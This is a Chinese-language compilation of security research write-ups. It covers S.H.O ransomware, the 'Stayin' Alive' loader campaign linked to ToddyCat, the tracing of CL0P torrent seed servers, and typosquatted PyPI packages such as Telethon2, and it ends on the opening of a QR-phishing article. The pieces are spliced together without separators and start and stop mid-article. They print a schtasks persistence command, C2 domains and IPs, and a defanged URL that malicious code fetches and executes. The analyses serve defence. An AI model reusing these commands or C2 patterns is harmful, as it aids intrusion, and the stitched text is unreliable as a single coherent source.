勒索軟件執行勒索軟件運行後,會對受攻擊設備上的文件進行加密,並添加五個隨機字母和數字作為文件擴展名。

5.png

S.H.O勒索軟件加密的文件

S.H.O嘗試使用以下擴展名加密文件:

6.png

以下文件被排除在所有目錄外:

7.png

排除加密的文件列表

這些目錄也被排除在加密內容之外:

8.png

排除加密的目錄列表

S.H.O使用RSA公鑰和Microsoft“Rijndael Managed”C#庫對每個文件進行加密。

9.png

文件加密例程

在完成加密後,它會用自己的壁紙替換桌面壁紙,要求受害者找到並閱讀文件“readme.txt”,這是一封勒索信。

10.png

被S.H.O勒索軟件取代的壁紙

FortiGuard實驗室發現了兩種S.H.O勒索軟件變體,它們留下了不同的勒索信,儘管勒索信上有屬於攻擊者的不同比特幣地址,但贖金費用始終保持在200美元。

11.png

S.H.O勒索軟件變體留下的勒索信

12.png

另一個S.H.O勒索軟件變體留下的勒索信

贖金信息恐嚇受害者支付贖金,在調查時,這兩個比特幣錢包都不可用。

Fortinet客戶已經通過其AntiVirus和FortiEDR服務受到保護,免受這些惡意軟件變體的影響,如下所示:

FortiGuard實驗室檢測到具有以下殺毒軟件簽名的Retch勒索軟件樣本:

1.MSIL/Filecoder.AK!tr.ransom:

FortiGuard實驗室檢測的S.H.O勒索軟件樣本具有以下反病毒簽名。

2.MSIL/Filecoder.APU!tr.ransom:FortiGuard防病毒服務包括FortiGate、FortiMail、forticclient和FortiEDR。運行當前防病毒更新的Fortinet EPP客戶也受到保護。

IOC 13.png

緩解措施1.由於易受干擾、日常運營受攻擊、對組織聲譽的潛在影響,以及個人身份信息(PII)的不必要破壞或發布等,保持所有AV和IPS簽名的最新性至關重要。

2.由於大多數勒索軟件都是通過網絡釣魚傳播的,組織應考慮利用Fortinet解決方案來培訓用戶了解和檢測網絡釣魚威脅。

3.FortiFish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕性,並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強正確的做法。

4.增加內部培訓,幫助最終用戶學習如何識別和保護自己免受各種類型的網絡釣魚攻擊,並可以輕鬆添加到內部培訓計劃中。

5.組織需要對數據備份的頻率、位置和安全性進行根本性的更改,以有效應對勒索軟件不斷演變和迅速擴大的風險。再加上數字供應鏈的攻擊和員工遠程辦公進入網絡,攻擊可能來自任何地方,這是一個真正的風險。

6.基於雲的安全解決方案,如SASE,用於保護離網設備,高級終端安全,如EDR(終端檢測和響應)解決方案,可以在攻擊中期中斷惡意軟件,以及零信任訪問和基於策略和上下文限制,對應用程序和資源的訪問的網絡分段策略,都應該進行調查,以最大限度地降低風險並減少成功勒索軟件攻擊的影響。

作為業界領先的完全集成安全結構的一部分,Fortinet還提供了廣泛的技術和基於人工的即服務產品組合,為你的安全生態系統提供本地協同和自動化。

7.CISA、NCSC、FBI和HHS等組織警告勒索軟件受害者不要支付贖金,部分原因是贖金並不能保證文件會被找回。

在過去的幾個月裡,Check Point Research一直在追踪分析“STAYIN’ ALIVE ”,這是一項至少從2021年就開始活躍的持續活動。該活動在亞洲開展,主要針對電信行業和政府機構。

“Stayin’Alive”活動主要由下載和加載程序組成,其中一些被用作針對知名亞洲組織的初始攻擊載體。發現的第一個下載程序名為CurKeep,目標是越南、烏茲別克斯坦和哈薩克斯坦。

觀察到的工具的簡單化性質以及它們的流行表明它們是一次性的,主要用於下載和運行額外的有效負載,這些工具與任何已知攻擊者創建的產品沒有明顯的代碼重疊,並且彼此之間沒有太多共同之處。然而,它們都與ToddyCat基礎設施有關。

該活動利用魚叉式網絡釣魚郵件利用DLL側加載方案來傳播壓縮文件,最明顯的是劫持Audinate的Dante Discovery軟件(CVE-2022-23748)中的dal_keepalives.dll。

“STAYIN’ ALIVE ”活動背後的攻擊者利用多個獨特的加載程序和下載器,所有這些加載程序和下載器都連接到同一套基礎設施,與一個通常被稱為“ToddyCat”的攻擊相關聯。

後門和加載程序的功能是非常基本和高度可變的。這表明攻擊者將它們視為一次性的,並且可能主要使用它們來獲得初始訪問權限。

CurKeep後門調查是從2022年9月發送給越南電信公司的一封電子郵件開始的,該電子郵件被上傳到VirusTotal。郵件主題CHỈ THỊ VỀ VIỆC QUY ĐỊNH QUẢN LÝ VÀ SỬ DỤNG USER,翻譯為“管理和使用說明:用戶規定”,這可能表明目標在IT部門工作。電子郵件包含一個ZIP附件,裡面有兩個文件:一個合法的簽名文件mDNSResponder.exe,重命名為匹配電子郵件,以及一個名為dal_keepalives.dll的側加載DLL。

1.png

原始CurKeep電子郵件誘餌

首先運行合法的可執行文件(由Zoom簽名),它加載dal_keepalives.dll,然後加載一個簡單的後門程序,稱為“CurKeep”。在初始執行期間,它將自己和合法的exe文件複製到%APPDATA%文件夾中,並設置一個名為Reserved的環境變量來指向它的路徑。該變量用於名為AppleNotifyService的計劃任務,該任務的目的是維護負載執行的久性。

2.png

CurKeep攻擊鏈

根據新發現的被劫持DLL方案,我們發現了多個部署相同工具的檔案:

Саммит 2022 г (парол - 0809).rar,可能用於針對烏茲別克斯坦,因為它是從烏茲別克斯坦上傳的,俄文文本。

QForm V8.zip ,QForm是一個仿真軟件,該文件託管在一個已知的研究門戶域名上。 Приказ №83 от 29.05.2023г.rar,可能用於針對哈薩克斯坦,假設它再次從哈薩克斯坦上傳,並帶有俄語文本。

CurKeep負載有效負載本身是一個非常小但高效的10kb文件。它包含26個函數,不使用任何庫進行靜態編譯,在執行時,它首先從msvcrt.dll生成一個導入數組,以獲得常見的C運行時函數,因為它沒有。

3.png

函數導入

4.png

全局結構構造

函數主要有效負載邏輯由三個主要函數組成:report, shell, 和file。它們中的每一個都被分配到一個不同的消息類型,該消息類型被發送到CC服務器。當執行時,負載一開始運行report函數,將基本偵察信息發送到CC服務器。然後,它創建兩個獨立的線程來重複運行shell和file函數。

report- CurKeep收集有關受攻擊計算機的信息,包括計算機名稱、用戶名、systeminfo的輸出以及C:\ProgramFiles(x86)和C:\Program Files下的目錄列表。

shell -以JSON格式發送計算機名,使用簡單的異或加密和base64編碼到CC。預期的響應包含命令字符串,命令之間以“|”分隔。它執行每個命令並將輸出發送到CC服務器。

file -發送與shell線程相同的消息,並接收如下格式的字符串' [FILE_ID]|[FULL_PATH]|[BASE64_ENCODED_FILE_DATA] '。它解析字符串並將數據寫入文件。

通信後門通信是基於HTTP的,每個函數的結果通過post請求路徑/API /report/API /shell或/API /file發送到匹配的API。結果被加密並存儲在JSON ‘msg’字段中。

5.png

基礎設施分析

我們發現的所有CurKeep樣本都與一組CC服務器通信,這些服務器鏈接到同一個TLS證書:fd31ea84894d933af323fd64d36910ca0c92af99。該證書在多個IP地址之間共享,我們認為它們都與同一個攻擊者有關。

6.png

在多個IP地址之間共享證書

除了證書之外,我們還觀察到域的類似註冊模式以及ip使用重複的asn。

7.png

相似的註冊模式和重複的asn

新發現的工具新發現的基礎設施揭示了幾個額外的樣本,主要是加載程序,用於同一地區的針對性攻擊,幾乎所有加載程序都是通過類似的方法執行的,最常見的是DLL側加載。加載程序的性質及其多樣性表明,攻擊者利用簡單的加載程序進行攻擊,仔細選擇部署額外工具的目標。

CurLu加載程序與此基礎結構相關聯的最常見的工具是CurLu加載程序,它通常通過濫用bdch.dll的側加載來加載,但這不是使用的唯一方法。這個加載程序的主要功能是聯繫CC服務器並接收要加載的DLL,然後調用預定義的導出。這是通過發送一個URI?cur=[RANDOM]的請求來實現的:

8.png

構建隨機請求URL

來自服務器的預期響應是DLL,然後將其加載並映射到內存中。接下來,加載程序搜索兩個預定義導出中的一個,並執行找到的任何導出。

9.png

在下載的DLL中搜索導出函數

CurCore其中一個新檢索的有效負載是通過名為incorrect personal information.img的IMG文件傳播的。它是從巴基斯坦上傳到VirusTotal的,利用mscoree.dll劫持部署了另一個名為CurCore的小後門程序。這個CurCore變種也指向一個模仿巴基斯坦電信供應商Nayatel的域名ns01.nayatel.orinafz.com。

當執行時,DLL通過比較執行路徑與C:\ProgramData\OneDrive\來檢查它是否持久化執行。如果沒有,它將自己和合法的PE文件複製到前面提到的OneDrive.exe文件夾下,並使用命令schtasks /create /sc minute /mo 10 /tn 'OneDrive' /tr 'C:\ProgramData\OneDrive\OneDrive.exe創建計劃任務。

如果從正確的路徑執行,它將創建一個線程,該線程初始化一個大型UUID字符串數組,然後繼續加載rpcrt4.dll並動態地導入UuidFromStringA函數。接下來,它使用該函數將整個UUID數組轉換為字節,每次一個UUID。

10.png

用於生成shellcode的UUID數組

然後,它使用EnumSystemLocalesA函數來執行從uid創建的shellcode。然後,這個shellcode加載並執行最終的有效負載。

11.png

將UUID轉換為字節並執行提取的shellcode

CurCore負載CurCore有效負載是一個小而有限的後門。執行時,它加載並解析與winhttp.dll中的HTTP請求和kernel32.dll中的CreatePipe相關的函數(從未使用過)。

接下來,它啟動主循環,其中包含負責向CC域ns01.nayatel.orinafz.com發出HTTP請求的子循環。 HTTP請求由以下結構構建:

DWORD custom_checksum; DWORD ukn_1; DWORD message_type; //only being used on ReadFile command WCHAR_T desktop_folder_path[];

custom_checksum是通過對桌面文件夾路徑的WCHAR_T數組中的所有第一個字節求和來計算的。該結構是base64編碼的,並在以下請求中傳輸到服務器:

12.png

接收到的響應也是用base64編碼的,它的第一個DWORD是要執行的命令ID。有效負載總共支持3個功能有限的命令,這表明它只用於初始偵察:

13.png

CurLog加載程序

與同一基礎設施相連的一個加載程序CurLog也被用來針對哈薩克斯坦的主要目標,我們觀察到幾個變體,一些通過DLL執行,另一些通過EXE執行。

CurLog加載程序的一個變體是在一個名為Compatible Products - Vector ver7.1.1.zip的zip文件中提供的,該文件包含一個同名的EXE文件。來自哈薩克斯坦的提交者也上傳了一個同名的DOCX文件,其中描述了一個名為VECTOR的系統及其兼容性。

14.png

VECTOR系統描述

當負載執行時,它通過比較執行路徑與C:\Users\Public\Libraries或檢查它是否使用參數-u運行來檢查它是否會持久性運行。如果沒有,它會添加一個計劃任務,並將自己和合法的exe複製到前面提到的文件夾中。

接下來,它聯繫CC服務器並期望接收解碼的十六進制流。如果成功,它將繼續驗證已解碼的十六進制流是否以MZ或cDM開頭,並將其保存到文件中。最後,它基於生成的文件創建一個進程。

針對越南的攻擊我們發現的最古老的變種(見下文)是通過一個以越南ISP為主題的ISO映像從越南上傳的。嚴重混淆的示例驗證它是否在正確的路徑上執行,就像其他加載程序一樣。如果沒有,它將創建目錄C:\ProgramData\ApplicationData\,並將合法的EXE文件複製到該文件夾中,並將惡意的側面加載的DLL文件mscoree.dll複製到該文件夾中。然後,它將4個硬編碼字節寫入一個新文件v2net.dll,該文件用作活動ID,它獲取計算機名,並發送以下網絡請求:

15.png

然後使用帶有密鑰0x44的簡單異或加密對網絡響應進行解密。接下來,它檢查第一個字節XOR0x09是否等於0x44,第二個字節XOR0xD7是否等於0x8D。你可能會注意到MZ ^0x09D7=0x448d,從中我們可以推斷CC響應應該包含PE文件。然後將接收到的文件寫入AppData\Roaming\ApplicationData\[HEX_STRING]\common.exe並執行。

StylerServ後門研究中,我們注意到許多加載程序的一個共同特徵:它們的編譯時間戳被修改為2015,其標頭值表明它們是使用Visual Studio 2017編譯的。

16.png

副標題顯示Visual Studio 2017(上圖)和2015年的編譯時間戳

繞過這個特徵,我們發現了另外一個示例,該示例由某人上傳,此人也上傳了CurLu加載程序信標的一個變體到127.0.0.1,並在bdch.dll上使用相同的側加載。

新確定的示例名為StylerServ,它與前面提到的加載程序非常不同,因為它被用作被動偵聽器,通過特定端口為特定文件提供服務。當DLL被執行時,它會創建五個線程,每個線程監聽一個不同的端口。在樣本中,我們觀察到以下端口:60810、60811、60812、60813、60814。

17.png

創建監聽特定端口的線程

每隔60秒,每個線程都會嘗試讀取一個名為styles .bin的文件。如果該文件可用且文件大小為0x1014,則認為該文件有效,並在後續線程的網絡請求中提供該文件。這些線程監督套接字上演變的一整套行為。其邏輯本質上是,每個線程都可以接收遠程連接,並提供前面提到的stylesers .bin的加密版本。

具有相同名稱的文件(stylesers .bin)也由同一提交者上傳,並使用XOR加密。在StylerServ後門中不存在解密文件的密鑰,但可以通過執行加密分析獲得。當它被解密時,我們可以看到加密的文件看起來像一種配置文件,包含各種文件格式和一些未知的DWORDS:

18.png

加密配置

19.png

解密配置

受害者研究在我們對這次活動的分析中,我們觀察到亞洲國家的目標一致,即越南、巴基斯坦、烏茲別克斯坦,最突出的是哈薩克斯坦。目標的跡象包括魚叉式網絡釣魚郵件、VirusTotal提交者和文件命名約定。

此外,各種各樣的加載程序和下載程序所使用的域表明,至少有一些目標或最終目標是政府附屬組織,主要在哈薩克斯坦,包括:

pkigoscorp[.]com——很可能是為了模仿https://pki.gov.kz/,哈薩克斯坦國家證書頒發機構。

certexvpn[.]com——哈薩克斯坦政府使用的哈薩克VPN軟件。

此外,有跡象表明,其中一次攻擊是圍繞一個名為qform3d的模擬軟件進行的。這包括使用域名qform3d[.]in的使用以及在壓縮文件QForm V8.zip中傳播文件。惡意軟件託管在一個研究門戶網站上,這表明其目標可能從事研究工作。

幕後組織該活動利用了許多目前未知的工具和技術。不同的加載程序和下載器集合可能代表了該攻擊者的初始攻擊媒介,該組織已在該地區活動多年。

本報告中描述的各種工具都是定制的,僅使用一次,因此,它們與任何已知的工具集沒有明顯的代碼重疊,甚至彼此之間也沒有。然而,它們都與一組基礎設施有關,其中一部分與一個名為todddycat的攻擊者有關。

CurLog和CurLu加載程序使用的兩個域是fopingu[.]com和rtmcsync[.]com,它們在該文章中提到過。這兩個域也顯示了解析到149.28.28[.]159的歷史。

雖然這些重疊並不一定表明“STAYIN’ ALIVE ”活動的幕後主使與ToddyCat的幕後主使是同一組織,但很可能兩者有共同的聯繫,共享相同的基礎設施。

總結如上所述,一次性加載程序和下載器的使用正變得越來越普遍,甚至在老練的攻擊者中也是如此;一次性工具的使用使得檢測和分析工作也在變得更加困難,因為它們經常被替換,並且可能從頭開始編寫,這在“STAYIN’ ALIVE ”活動中很明顯。

本文回顧了針對亞洲電信行業的攻擊活動中使用的一些工具,通過基礎設施分析不同後門之間的聯繫時,我們還發現了與ToddyCat的潛在聯繫,這是一個在該地區活動的已知行動者。雖然我們不能完全肯定ToddyCat是這次活動的幕後組織,但很明顯,兩者都使用了相同的基礎設施攻擊求類似的目標。

解決辦法CL0P組織利用Seed傳輸竊取的敏感數據(上)

如上所述,速度是至關重要的。加入torrent的時間窗口很短,每過一秒,找到原始播種者的可能性就會減少。為了解決這個問題,就需要不斷地監控他們的洩漏網站,以獲得新的公告,然後使用磁力鏈接開始節點過程。

一旦連接到torrent,研究人員就可以坐在群裡監視對等點,直到研究人員找到第一個顯示100%完成狀態的人。此時,信息被記錄後將自己從群中刪除。

出於講解需要,研究人員把所有受害組織的名字都改成了Pokémon。

當連接到torrent時,就會輸出。

7.png

該輸出應包括以下內容:

所連接對等點的IP地址;

對等點狀態標誌;

完成百分比;

上傳/下載速度;

Torrent客戶端;

8.1.png

8.2.png

8.3.png

映射對等點以及Pokémon

在將這些數據點連接起來之後,你最終得到的是一個連接網絡,研究人員可以將其可視化,以便更好地進行分析。

9.png

節點映射

上圖關注了三個不同的數據點:

對等點地址;

受害者;

使用中觀察到的客戶端;

研究人員根據對等點在記錄日誌時所觀察到的數據量連接每個端,然後,研究人員用顏色對鏈接進行編碼,如下圖所示,這樣100%的鏈接就會突出。

這允許快速檢查以識別地址,地址分為三類:

經確認的原始播種機;

潛在的原始播種機;

非原始文件(non-original)播種機;

再來看一看Charmander,你會注意到兩條灰色的線指向它,這些都是低於100%的鏈接,研究人員把所有100%的鏈接都編碼為紅色,藍色鏈接將對等點連接到其觀察到的客戶端字符串。如下圖所示:

10.png

CharmanderPeering

Peering在兩個ISP之間交換路由通告,以確保來自第一個ISP的業務能夠到達第二個ISP的客戶,反之亦然。對等操作主要在IXP進行,通常是免費提供或遵照雙方商定的商務協議提供。

在添加每個主機的過程中,當研究人員從受害者切換到對等點時,模式開始出現。

如果一個主機有100%的鏈接,但數量很低,比如只有2-4個,那麼研究人員認為他們是一個潛在的torrent。如果一個主機有100%的鏈接,但數量很多,那麼研究人員認為他們只是一個潛在的原始torrent。任何有低於100%鏈接的主機,研究人員都認為它們是非原始文件種子。

回到以前的IP地址81.19.135[.]21(如下圖所示),研究人員可以看到一個極似原始播種機的樣子。

11.png

原始播種機

極有可能的原始seed不僅具有100%seed的高容量,而且是許多受害者唯一登錄的對等點,此外,對等點數據集之間開始出現模式。例如,研究人員認為大多數原始種子主機都使用Transmission 3.00客戶端字符串,進一步將它們的活動綁定在一起;而一個擁有相對唯一的客戶端字符串的主機(如下圖中的主機)卻很少被發現。這讓研究人員更傾向於將它們作為一個實體,只是出於其他原因下載所有數據,並且它們已經完成了下載。

12.png

不太可能是原始播種機

所有這一切都是說,這些數據點讓研究人員能夠迅速過濾和淘汰不那麼有趣的對等點,這樣研究人員就可以把注意力集中在重要的點上。

下圖中所示的這個人甚至在每個torrent文件中更改他們的客戶端字符串。這更加證明了他們不是原始播種者,儘管在研究人員觀察他們的時候,他們已經播種了很多數據。

13.png

Nonoriginal播種機

通過查看數據並應用上述邏輯,研究人員能夠克服上述一些問題,即在發布torrent文件後研究人員才開始收集數據。

總的來說,研究人員能夠在這個數據集中識別出五個研究人員認為很有可能是原始播種者的主機,以及兩個可能成為未來播種者的主機。這有必要進行更深入的研究。

Seed Group 1有一種模式幾乎立刻就凸顯出來,那就是三個IP地址似乎在同一個網絡上。

81.19.135[.]21

81.19.135[.]25

81.19.135[.]31

這三個IP地址都存在於FlyServers(一家VPS託管公司)擁有的AS 209588的同一個子網中。 IP位於俄羅斯莫斯科。每一個都表現出有趣的特徵,這些特徵進一步將它們聯繫在一起,有力地證明了它們是由攻擊者控制的。

例如,請注意下圖所示的模式,因為它與前兩個IP地址的SSH可用性和FTP可用性有關:

14.png

81.19.135[.]21服務掃描

15.png

81.19.135[.]25服務掃描

對於以21結尾的IP, SSH端口在2023年8月6日停止響應,FTP端口在2023年8月7日開始響應。對於以25結尾的IP,研究人員看到SSH在2023年8月6日停止,FTP在同一天打開。

同樣,對於下圖中以31結尾的IP,雖然研究人員沒有SSH可見性,但研究人員可以看到FTP也在8月6日打開。

16.png

81.19.135[.]31服務掃描

服務器運行的是vsFTPd 3.0.3和OpenSSH_8.4p1。在TCP/8423上以25結尾的IP的簡短可見性表明,它已轉換為在非標準端口上運行SSH。

為了確認播種服務器是不同的實體,而不是某種負載平衡服務背後的同一個盒子,研究人員查看了vsFTPd使用的TLS證書,它們都是自簽名的:

81.19.135[.]21=44102.example.ru,有效期為2023年8月6日22:49:51 GMT-0400;81.19.135[.]25=14868.example.ru,有效期為2023年8月5日23:48:55 GMT-0400;81.19.135[.]31=33916.example.ru,有效期為2023年8月5日23:48:08 GMT-0400;

其中包括了證書的起始日期,如上所述,彼此相距大約一個小時。這意味著,CL0P在他們計劃發布第一個磁力鏈接的大約10天前,在他們公開宣布打算轉向這種傳播方式的5天前,就對這些盒子進行了預處理。

使用這些模式,研究人員擴展了對在Common Name (CN)值中包含example.ru的證書的搜索,這些證書被觀察到具有FTP。研究人員確定了同一子網上的另一台主機(如下圖所示),它具有類似的功能,但尚未顯示在對等點信息中。

17.png

更寬的網絡識別以11結尾的新主機

你可以看到相同的行為,SSH端口在2023年8月6日失去可見性,FTP端口在2023年8月7日變為活動,這與研究人員觀察到的其他情況一致。

81.19.135[.]11=43577.example.ru,有效期為2023年8月6日23:03:31 GMT-0400

在這台主機上還值得注意的是兩個月前Windows服務的出現,如下圖所示。這意味著VPS在該時間範圍內從Windows重新調整為基於*nix的設備。

18.png

81.19.135[.]11服務掃描

為了有效地託管竊取的數據,需要進行大量的協調。可能以11結尾的IP地址正準備託管更多的受害文件。

以25和31結尾的兩個IP地址的受害者是在8月15日或幾天后公佈的。而從8月24日開始,以21結尾的IP地址開始在受害者公告中使用,其觀察到的受害者數量幾乎是其他IP地址的四倍。這可能只是研究人員觀察它們的結果,但也可能意味著這個盒子有些不同。

Seed Group 2另一個突出的IP也被Gary Warner在LinkedIn上提到,他正在尋找關於CL0P seed的相同類型的信息。

在Cl0p決定沒有人能夠通過.onion服務器下載他們被盜的數據後,他們遷移到使用bitTorrent。

當然,使用bitTorrent的問題是,攻擊者託管被盜數據的位置變得非常明顯。如果一個人訪問TORRENT,並且只有一個IP地址提供100%的數據,對於更大的數據集,那麼幾乎可以肯定,這就是攻擊者為提供文件而獲得的主機。但對於微小的數據集來說,情況並非如此,對於這些數據集,攻擊者可以在很短的時間內等待其他人獲得100%的文件,然後斷開他們的原始位置。

目前,“100%”數據集的主要位置是:

95.215.0[.]76=AS34665 Petersburg Internet, St. Petersburg Russia,這是

在pindc[.]ru上託管的公司招聘信息。

此IP地址為95.215.0[.]76,如下圖所示,與以前的數據集有一些相似之處。具體來說,使用了字符串Transmission 3.00的BitTorrent客戶端,託管提供商是另一家俄羅斯公司。

19.png

另一個已確認的原始種子服務器

果不其然,這個播種服務器(如下圖所示)表現出與其他數據集類似的行為,因為它也與服務相關。然而,這個活動比另一個數據集早一個月發生,SSH服務一直持續到7月17日,FTP服務從7月18日開始出現。

20.png

95.215.0[.]76服務掃描

這可能是一個較舊的盒子,它還使用一組不同的服務來託管FTP,並進一步利用ProFTPD。同樣,VPS託管在俄羅斯聖彼得堡,並由AS 34665宣布用於彼得堡互聯網(PIN)數據中心。

此IP與IP地址95.215.1[.]221共享下面的SSH密鑰。

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNos5CNsQHUKlXJSFDJKtPB/4FlkqW6R0crEQaONn3TJ2TICxQRUTh8DgITlLcidJf0pnn0zVMWwE6PsWDI3eZU=

雖然研究人員目前還沒有觀察到這個IP地址,但還不知道這是由於可見性問題還是該盒子尚未用於託管原因造成的,它確實與SSH和FTP共享相同的顯著行為。如下圖所示:

21.png

95.215.1[.]221服務掃描

Seed Group 3將這些模式應用到研究人員收集的其他對等體上,下圖中顯示了IP地址92.118.36[.]111。

22.png

獨立seed主機

在該樣本中,研究人員只觀察到它以100%的速度為Articuno播種了一個torrent,它位於阿姆斯特丹,由StreamHost的AS 209132宣布。

這個torrent的一致之處在於,它使用Transmission 3.00客戶端字符串,並且從8月9日開始具有類似的FTP訪問權限。如下圖所示:

23.png

92.118.36[.]111服務掃描

最後要說明的一點是,在搜索這個IP地址時,研究人員偶然發現了一個以112結尾的下一個IP的AbuseIPDB報告,如下圖所示:它在2023年6月初顯示了一份針對MOVEit漏洞的地址掃描報告,該漏洞是CL0P用來竊取所有這些數據的漏洞。

24.png

AbuseIPDB關於92.118.36[.]112的報告

這兩者之間是否有關聯尚不清楚,但如果沒有關聯,這將是一個有趣的巧合。

總結在本文所講解的樣本中,俄羅斯的幾個託管服務器保存了大量被盜受害者的數據。

根據分析,這些攻擊者很可能利用FTP將被盜文件傳輸到種子盒。另外,在FTP服務啟動之前,SSH訪問的一般可見性會立即關閉,這可能意味著很多事情,但最重要的是,在宣布磁力鏈接之前,他們可能會在服務器上預留被盜數據相當長的一段時間。

同樣,受害者數據在seed盒中的分佈也與他們的公告時間表不一致。這說明在torrent產生之前,數據已經在盒子上保存了一段時間,這可能是他們用來避免seed追踪的一種技術,方法是同時宣布不同的受害者,但從不同的盒子裡播種。

要點•在2023年9月,一名攻擊者通過Pypi執行了一次針對性的攻擊,將使用阿里雲服務、AWS和Telegram的開發人員吸引到惡意軟件包。

•這些軟件包中的惡意代碼不是自動執行,而是巧妙地隱藏在函數中,旨在僅在這些函數被調用時才觸發。

•攻擊者利用誤植域名和星標劫持(Starjacking)這兩種技術將開發人員引誘到惡意軟件包。

•其中一個惡意軟包模仿一個流行的代碼存儲庫,利用了它在Pypi軟件包管理器中的缺失大做文章。

在今年9月份,一個化名為“kohlersbtuh15”的攻擊者試圖通過向PyPi軟件包管理器上傳一系列惡意軟件包來鑽開源社區的空子。

從這些軟件包的名稱及其中所含的代碼來看,攻擊者的目標似乎是使用阿里雲服務、Telegram和AWS的開發人員。

1.png

圖1. kohlersbtuh15用戶帳戶

攻擊者實施了諸多技術,包括誤植域名和星標劫持(指攻擊者通過將軟件包鏈接到GitHub上一個毫不相關的不同軟件包的代碼存儲庫,以操縱衡量軟件包受歡迎程度的星標),以誘騙受害者下載惡意軟件包。

這種攻擊的特別之處在於,不同於在Python軟件包的設置文件中植入惡意代碼這種常見策略(一旦軟件包安裝就會自動執行),這個攻擊者將惡意腳本嵌入到軟件包的深處,嵌入到特定的函數中。這意味著惡意代碼只會在正常使用期間特定函數被調用時執行。

這種隱藏惡意代碼的獨特方法不僅有助於隱藏代碼,還針對特定的操作或功能,從而使攻擊更有效、更難檢測。此外,由於許多安全工具掃描查找可自動執行的惡意腳本,將代碼嵌入到函數中加大了規避這類安全措施的可能性。

攻擊途徑:誤植域名誤植域名利用開發人員在輸入安裝命令時所犯的擊鍵錯誤來利用人為錯誤,威脅分子可能會發布名稱與目標軟件包相似的惡意軟件包。

此外,如果開發人員在瀏覽網頁時不小心拼錯了合法軟件包的名稱,他們可能會在渾然不覺的情況下進入到惡意軟件包的網站。

攻擊者的手法是製作一個酷似合法軟件包的軟件包,但添加了一個隱藏的惡意依賴項,從而觸發惡意腳本在後台運行。攻擊者也可能將惡意代碼直接嵌入到軟件包中。

從受害者的角度來看,軟件包似乎正常運行,掩蓋了幕後開展的惡意活動。

攻擊途徑:星標劫持對於開源開發人員說,通常的工作流程包括在GitHub上託管項目,並通過NPM或PyPi等軟件包管理器分發可使用的軟件包。

從軟件包管理器中選擇軟件包時,開發人員通常查看該軟件包的受歡迎程度,通常是通過其GitHub統計數據來查看,一些軟件包管理器直觀地顯示這個指標,以此表明其質量和維護水平。

然而,軟件包管理器顯示的統計數據並沒有經過任何驗證,偽造這些統計數據很簡單。

星標劫持是將託管在軟件包管理器上的軟件包鏈接到GitHub上另一個毫不相關的軟件包的代碼存儲庫的做法。然後,毫無防備的開發人員上當受騙,以為這是值得信賴的軟件包。

為了最大限度地擴大攻擊範圍,攻擊者將星標劫持和誤植域名結合在同一個軟件包中,而這正是攻擊者決定對其許多軟件包所做的操作,“Telethon2”就是一個例子。

2.png

圖2

Telethon 2其中一個引人注目的軟件包是python軟件包Telethon2,它模仿了流行的“Telethon”軟件包(下載量達6900萬次),它還通過使用“telethon”軟件包的GitHub官方代碼存儲庫來執行星標劫持。

負責這起活動的攻擊者從官方“telethon”軟件包複製了完全相同的源代碼,只有一點不同:在“telethon/client/messages.py”文件中嵌入了以下兩行惡意代碼。

3.png

圖3. 惡意代碼隱藏在telethon2-1.30.3/telethon/client/messages.py的send_message函數中。

惡意代碼不是在軟件包下載時自動執行,而是在“send message”函數被調用才被激活。

這段代碼從“hxxps[:]//tg[.]aliyun-sdk-requests[.]xyz/telegram”中獲取base64編碼的外部內容,然後將其解碼以執行操作系統命令。

enumerate-iam另一個引人注目的軟件包是“enumerate-iam”軟件包。攻擊者利用了一個名為“enumerate-iam”的流行GitHub代碼存儲庫,該代碼存儲庫並沒有相應的Python軟件包,攻擊者創建了自己的惡意Python軟件包,與合法代碼存儲庫同名。

4.png

圖4. 合法GitHub代碼存儲庫:enumerate-iam

5.png

圖5. 惡意軟件包:“enumerate-iam”

與攻擊者的其他軟件包一樣,惡意代碼隱藏在軟件包中的一個函數中,一旦函數被激活,就會試圖竊取敏感憑據。

6.png

圖6

對於在GitHub上維護項目的維護者來說,這個跡象充分錶明至少要有一個佔位符軟件包,以防止攻擊者利用這條攻擊途徑。

7.png

圖7. 該列表顯示了惡意軟件包及其相應的攻擊技術

8.png

圖8. 按國家或地區劃分的惡意軟件包總下載量百分比分佈

影響通過瞄準Telegram、AWS和阿里雲等平台上使用的流行軟件包,攻擊者展示了很高的精準度。這不是一起隨機的行為,而是一起蓄意的行為,以攻擊依賴這些廣泛使用的平台的特定用戶,可能影響數百萬人。

這起攻擊的潛在損害並不僅限於受攻擊的系統,還涉及與這些平台相關的特定數據,包括來自Telegram的通訊內容細節、來自AWS的敏感雲數據以及來自阿里雲的業務相關信息。

攻擊者在特定函數中嵌入惡意代碼,以確保有害腳本在這些函數被調用之前保持潛伏狀態。這種方法不僅繞過了通常檢測自動執行腳本的許多常規安全掃描,還允許發動更有針對性的攻擊。當毫無戒心的開發人員或用戶調用這些函數時,他們不知不覺中激活了惡意代碼,使攻擊既隱蔽又高效。

結論星標劫持和誤植域名是攻擊者採用的常見方法,以加大攻擊得逞、感染盡可能多目標的機會。這些技術旨在使軟件包看起來很受歡迎,並強調使用它的其他開發人員的數量之多,從而提高軟件包的可信度。

對於在GitHub上維護熱門項目的那些人來說,至少在PyPi這樣的平台上擁有佔位符軟件包可以作為一種防護措施,防止伺機下手的攻擊者利用合法軟件包的缺失大做文章。

在代碼中使用惡意軟件包作為依賴項帶來了很大的風險,在最好的情況下,最終會感染網絡中擁有高優先權的開發人員帳戶;如果不那麼幸運,最終可能會使客戶感染上被污染的軟件版本。

軟件包•enumerate-iam

•aliababcloud-tea-openapi

•alibabacloud-vpc20180317

•python-cos-sdk-v5

•alibabacloud-ecs20180317

•aliyun-oss2

•python-aliyun-sdk-kms

•python-aliyun-sdk-ecs

•python-aliyun-sdk-rds

•python-aliyun-sdk-core

•telethon2

•tencentcloud-python-sdk

•arangodba

•aws-consoler2

sl-abstract-phishing-hook-mail-accounts-under-water-1200x600.jpg

二維碼無處不在,你可以在海報和傳單、ATM屏幕、價籤和商品甚至建築物上看到它們,人們用它們來分享信息,推廣各種在線資源,然而,你卻很少在電子郵件中看到二維碼。用戶無需掃描即可在手機上直接閱讀信息,因為大多數信件都帶有普通的超鏈接,但攻擊者正越來越多地通過電子郵件發送的二維碼來實施攻擊。

